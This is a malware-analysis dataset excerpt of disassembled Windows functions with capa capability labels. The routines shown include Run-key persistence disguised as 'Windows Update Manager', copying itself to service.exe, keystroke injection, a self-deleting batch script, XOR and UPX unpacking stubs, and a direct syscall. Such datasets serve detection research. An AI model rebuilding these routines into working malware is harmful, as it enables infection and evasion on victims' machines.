joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402bc8
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
push ebx
push esi
push edi
xor esi, esi
push 0x12
mov edi, str.WIN_125
push esi
mov ebx, ecx
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x98]
mov dword [ebp - 0x98], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x402c90
cmp dword [ebp - 0x94], 4
jne 0x402c5a
cmp dword [ebp - 0x90], esi
jne 0x402c3a
cmp dword [ebp - 0x88], 1
mov eax, 0x407844
je 0x402c2a
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x88], 2
jne 0x402c95
mov eax, 0x407840
jmp 0x402c95
cmp dword [ebp - 0x90], 0xa
jne 0x402c4a
mov eax, 0x40783c
jmp 0x402c95
cmp dword [ebp - 0x90], 0x5a
jne 0x402c90
mov eax, 0x407838
jmp 0x402c95
cmp dword [ebp - 0x94], 5
jne 0x402c90
cmp dword [ebp - 0x90], esi
jne 0x402c72
mov eax, 0x407834
jmp 0x402c95
cmp dword [ebp - 0x90], 1
jne 0x402c82
mov eax, 0x407830
jmp 0x402c95
cmp dword [ebp - 0x90], 2
mov eax, str.2K3_
je 0x402c95
mov eax, str.WIN_
push eax
push edi
call dword [sym.imp.MSVCRT.dll_sprintf]
push edi
call sub.MSVCRT.dll_strlen
add esp, 0xc
mov esi, eax
cmp esi, dword [ebx + 0x20]
jg 0x402cc5
call dword [sym.imp.MSVCRT.dll_rand]
push 0xa
cdq
pop ecx
idiv ecx
add dl, 0x30
mov byte [esi + str.WIN_125], dl
inc esi
jmp 0x402ca8
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402ccc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
xor ebx, ebx
push 0x12
mov esi, str._00USA122874_
push ebx
mov edi, ecx
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, edi
mov dword [edi + 0x28], ebx
mov dword [edi + 0x2c], ebx
mov dword [edi + 0x30], ebx
call fcn.00402d91
mov dword [ebp - 8], eax
lea eax, [ebp - 0x1c]
push 0x12
push eax
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push dword [ebp - 8]
push esi
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x1c]
push eax
push esi
call sub.MSVCRT.dll_strcat
push 0x407850
push esi
call sub.MSVCRT.dll_strcat
add esp, 0x18
cmp dword [edi + 0x28], ebx
push 1
pop eax
je 0x402d3c
push 2
pop eax
cmp dword [edi + 0x2c], ebx
je 0x402d42
inc eax
cmp dword [edi + 0x30], ebx
je 0x402d48
inc eax
push 7
pop edi
cmp eax, edi
jge 0x402d7d
sub edi, eax
call dword [sym.imp.MSVCRT.dll_rand]
push 0xa
cdq
pop ecx
idiv ecx
lea eax, [ebp - 2]
push edx
push 0x40784c
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 2]
push eax
push esi
call sub.MSVCRT.dll_strcat
add esp, 0x14
dec edi
jne 0x402d51
push 0x407848
push esi
call sub.MSVCRT.dll_strcat
pop ecx
mov eax, esi
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403688
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push esi
push dword [esp + 0xc]
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push dword [esp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push dword [esp + 8]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
ret
Function at 0x4042f4
Capabilities:
Create process on windows
Create thread
Persist via run registry key
Query environment variable
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
push ebx
push esi
call fcn.00402e8f
xor ebx, ebx
push str.MessageBoxA
push str.user32.dll
mov byte [ebp - 8], 0xc8
mov byte [ebp - 7], bl
mov byte [ebp - 6], 4
mov byte [ebp - 5], bl
mov byte [ebp - 4], 0x60
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 8]
push 5
push ecx
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x404349
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, 0x104
lea eax, [ebp - 0x42c]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x168]
push esi
push eax
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov esi, str.service.exe
lea eax, [ebp - 0x168]
push esi
push eax
lea eax, [ebp - 0x26c]
push str._s_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x168]
push esi
push eax
call fcn.004050bc
add esp, 0x18
test eax, eax
je 0x40447a
lea eax, [ebp - 0xc]
push ebx
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000002
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push esi
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push esi
push 1
pop esi
push esi
push ebx
push str.Windows_Update_Manager
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x10
lea eax, [ebp - 0x20]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x44
lea eax, [ebp - 0x64]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x20]
mov dword [ebp - 0x58], 0x40899c
mov dword [ebp - 0x64], 0x44
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x168]
push eax
push ebx
push 0x28
push esi
push ebx
push ebx
lea eax, [ebp - 0x26c]
push ebx
push eax
mov dword [ebp - 0x38], esi
mov word [ebp - 0x34], bx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x404473
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1c]
call esi
call dword [0x4089e4]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
lea eax, [ebp - 0x328]
push ebx
push eax
push 0x404fd0
push ebx
push ebx
call esi
lea eax, [ebp - 0x10]
push eax
push ebx
push ebx
push 0x4044c2
push ebx
push ebx
call esi
mov esi, eax
cmp esi, ebx
je 0x4044ba
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x4046ed
Capabilities:
Terminate thread

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle 0x404754
cmp esi, 0x200
jge 0x404754
imul esi, esi, 0x218
push edi
push ebx
push dword [esi + 0x408ef8]
lea edi, [esi + 0x408ef8]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp dword [edi], ebx
je 0x404725
push 1
pop ebp
mov dword [edi], ebx
mov dword [esi + 0x408eec], ebx
mov dword [esi + 0x408ef0], ebx
mov dword [esi + 0x408ef4], ebx
mov byte [esi + 0x408ce8], bl
push dword [esi + 0x408efc]
lea esi, [esi + 0x408efc]
call dword [0x408ac0]
mov dword [esi], ebx
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
ret

Function at 0x404b56
Capabilities:
Log keystrokes via polling

Disassembly:
push ecx
push ecx
push edi
xor edi, edi
push dword [esp + 0x14]
mov dword [esp + 0xc], edi
mov dword [esp + 8], edi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x404c75
push ebx
push ebp
push esi
mov esi, dword [sym.imp.USER32.dll_keybd_event]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
mov al, byte [eax + ecx]
cmp al, 0x5b
jne 0x404be3
push edi
push edi
push edi
push 0x11
call esi
push 0x6c
call dword [sym.imp.USER32.dll_VkKeyScanA]
push edi
mov ebx, eax
push edi
push edi
push ebx
call esi
push edi
push 2
push edi
push ebx
call esi
push edi
push 2
push edi
push 0x11
call esi
push str.http:__video_streaming.idoo.com_video4234.php_
push str.__oxFrame.class__
push dword [esp + 0x1c]
push edi
call dword [sym.imp.USER32.dll_FindWindowExA]
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x404bb3
push dword [esp + 0x14]
call fcn.004048a1
pop ecx
jmp 0x404c5a
cmp al, 0x2b
jne 0x404bf3
push 1
push 9
call fcn.004048b9
pop ecx
jmp 0x404be0
cmp al, 0x5d
jne 0x404c1d
push 1
push 9
call fcn.004048b9
push 1
push 0xd
call fcn.004048b9
add esp, 0x10
push 0xfa
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esp + 0x1c]
jmp 0x404bdb
push eax
call dword [sym.imp.USER32.dll_VkKeyScanA]
mov ebx, eax
mov ebp, ebx
and ebp, 0x100
cmp bp, di
je 0x404c3d
push edi
push edi
push edi
push 0xa0
call esi
push edi
push edi
push edi
push ebx
call esi
push edi
push 2
push edi
push ebx
call esi
cmp bp, di
je 0x404c5a
push edi
push 2
push edi
push 0xa0
call esi
push dword [esp + 0x20]
inc dword [esp + 0x14]
call sub.MSVCRT.dll_strlen
cmp dword [esp + 0x14], eax
pop ecx
jb 0x404b7e
pop esi
pop ebp
pop ebx
push dword [esp + 0x10]
call fcn.004048a1
push 1
push 0xd
call fcn.004048b9
add esp, 0xc
push 0xfa
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop ecx
pop ecx
ret
Function at 0x4050bc
Capabilities:
Check if file exists
Copy file
Get common file path
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x514
push ebx
push esi
mov esi, 0x104
push edi
lea eax, [ebp - 0x208]
push esi
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push eax
call edi
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push dword [ebp + 8]
push str._s_s
push esi
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x1c
lea eax, [ebp - 0x30c]
push eax
call dword [0x408a10]
lea eax, [ebp - 0x410]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x514]
push esi
push eax
push ebx
call edi
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x4051e6
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40517c
lea eax, [ebp - 0x104]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x104]
push 0
push eax
lea eax, [ebp - 0x208]
push eax
call esi
mov edi, eax
test edi, edi
jne 0x4051ce
call dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
jne 0x4051ce
cmp eax, 0x20
je 0x4051ae
cmp eax, 5
jne 0x4051ce
push 1
pop ebx
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x104]
push 0
push eax
lea eax, [ebp - 0x208]
push eax
jmp 0x405192
lea eax, [ebp - 0x104]
push 7
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test edi, edi
je 0x4051e6
push 1
pop eax
jmp 0x4051e8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405367
Capabilities:
Get common file path
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push ebx
push esi
lea eax, [ebp - 0x80c]
push edi
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x108]
push 0x104
xor edi, edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.MSVCRT.dll_rand]
call esi
push 9
pop ebx
cdq
mov ecx, ebx
idiv ecx
push edx
call esi
cdq
mov ecx, ebx
idiv ecx
push edx
call esi
cdq
mov ecx, ebx
idiv ecx
push edx
call esi
cdq
idiv ebx
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x80c]
push edx
push eax
lea eax, [ebp - 0x20c]
push str._s_removeMe_i_i_i_i.bat
push eax
call esi
add esp, 0x1c
lea eax, [ebp - 0x108]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push edi
push 2
push edi
push edi
lea eax, [ebp - 0x20c]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, edi
jbe 0x405482
cmp dword [ebp + 8], edi
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x108]
push eax
jne 0x405437
push str._echo_off_r_n:Repeat_r_ndel___s__nul_r_nping_0.0.0.0_nul_r_nif_exist___s__goto_Repeat_r_ndel____0__r_n
jmp 0x40543c
push str._echo_off_r_n:Repeat_r_ndel___s__nul_r_nif_exist___s__goto_Repeat_r_ndel____0__r_n
lea eax, [ebp - 0x40c]
push eax
call esi
add esp, 0x14
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp - 0x40c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x40c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push edi
lea eax, [ebp - 0x20c]
push edi
push eax
push edi
push edi
call dword [0x4089f0]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x52b7d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xd7000]
push edi
jmp 0x52b7ea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x52b7f1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x52b7e0
mov eax, 1
add ebx, ebx
jne 0x52b803
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x52b814
jne 0x52b833
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x52b833
dec eax
add ebx, ebx
jne 0x52b820
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x52b7f8
add ebx, ebx
jne 0x52b82f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x52b885
xor ecx, ecx
sub eax, 3
jb 0x52b84b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x52b8ba
sar eax, 1
mov ebp, eax
jmp 0x52b856
add ebx, ebx
jne 0x52b856
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x52b824
inc ecx
add ebx, ebx
jne 0x52b864
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x52b824
add ebx, ebx
jne 0x52b871
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x52b866
jne 0x52b882
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x52b866
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x52b8a4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x52b896
jmp 0x52b7e6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x52b8a4
add edi, ecx
jmp 0x52b7e6
pop esi
mov edi, esi
mov ecx, 0x3ed9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x52b8c2
cmp byte [edi], 0x11
jne 0x52b8c2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x52b8c7
lea edi, [esi + 0x124000]
mov eax, dword [edi]
or eax, eax
je 0x52b93f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1800e0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x18025c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x52b8f4
mov ecx, edi
jns 0x52b923
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x180260]
or eax, eax
je 0x52b939
mov dword [ebx], eax
add ebx, 4
jmp 0x52b911
call dword [esi + 0x180270]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x52b970
cmp al, 0xef
ja 0x52b963
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x52b945
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x52b952
mov ebp, dword [esi + 0x180264]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x52b9a4
sub esp, 0xffffff80
jmp 0x425f74
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x64a06ce
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x432024
mov eax, section..data
nop
mov ebx, 0x42f314
nop
nop
mov ecx, 0x277a4a5e
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x432084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x1bd046db
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x327c7a31
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x6c2370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x6c238e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x6eb074
push ecx
mov edi, eax
call fcn.006d6198
mov esi, eax
add esp, 8
test esi, esi
jne 0x6c23cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.006d602e
push esi
call fcn.006d5fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x6c5850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x6c58ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x6f0720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x6c58ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.006d61e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x6c58ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x6f0720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x6c592a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.006d7082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x6c5957
mov word [eax], si
add eax, 2
push eax
call fcn.006d7030
add esp, 4
jmp 0x6c5959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x6c58ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x6c58b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x6c5ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x6c6080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0x6c60c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0x6eb458
push ecx
call fcn.006d61e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.006d61e1
add esp, 0x10
jmp 0x6c60d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.006d620b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.006d5dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.006c6050
mov eax, dword [0x6f0728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0x6c613b
push esi
call fcn.006c5fb0
add esp, 4
mov dword [0x6f0728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0x6c614c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.006c5ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0x6c9440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0x6c94b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x6c948e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x6c9471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x6c947e
add edx, ecx
cmp ebx, edx
jb 0x6c948a
inc edi
add eax, 0x28
cmp edi, esi
jb 0x6c9467
xor ecx, ecx
jmp 0x6c94a2
test eax, eax
jne 0x6c9492
xor ecx, ecx
jmp 0x6c94a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.006c93c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0x6c98f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x6c9921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0x6c9946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0x6c996e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0x6c9993
push ecx
push esi
call fcn.006c94c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret